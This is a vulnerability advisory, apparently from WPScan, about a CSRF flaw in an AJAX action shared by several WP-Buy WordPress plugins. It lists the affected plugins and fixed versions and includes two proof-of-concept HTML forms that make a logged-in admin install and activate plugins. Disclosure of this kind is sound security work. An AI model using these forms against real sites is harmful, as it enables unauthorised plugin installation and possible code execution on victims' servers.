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Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via CSRF

Description

The "cp_plugins_do_button_job_later_callback" AJAX action, from multiple plugins of the WP-Buy vendor, was lacking CSRF check, allowing attackers to make a logged in administrator install and active arbitrary plugins (including specific version) from the WordPress repository which could lead to more critical vulnerabilities like RCE.

Proof of Concept

Installation:
<html>
    <body>
        <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
            <input type="hidden" name="action" value="do_button_job_later" />
            <input type="hidden" name="slug" value="wpscan.1.14.4" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>

Activation:
<html>
    <body>
        <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
            <input type="hidden" name="action" value="do_button_job_later" />
            <input type="hidden" name="plugin_file" value="wpscan/wpscan.php" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html> 


 

Affects Plugins

wp-content-copy-protector
Fixed in version 3.4
conditional-marketing-mailer
Fixed in version 1.6
captchinoo-captcha-for-login-form-protection
Fixed in version 2.5 - plugin closed
wp-maintenance-mode-site-under-construction
Fixed in version 1.9 - plugin closed
tree-website-map
Fixed in version 3.1 - plugin closed
visitors-traffic-real-time-statistics
Fixed in version 2.13
wp-limit-failed-login-attempts
Fixed in version 3.1
login-as-customer-or-user
Fixed in version 2.1

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID
3961132f-ecc1-4f41-83f1-3ac537143b38

Timeline

Publicly Published

2021-04-22 (about 1 years ago)

Added

2021-04-22 (about 1 years ago)

Last Updated

2021-04-22 (about 1 years ago)

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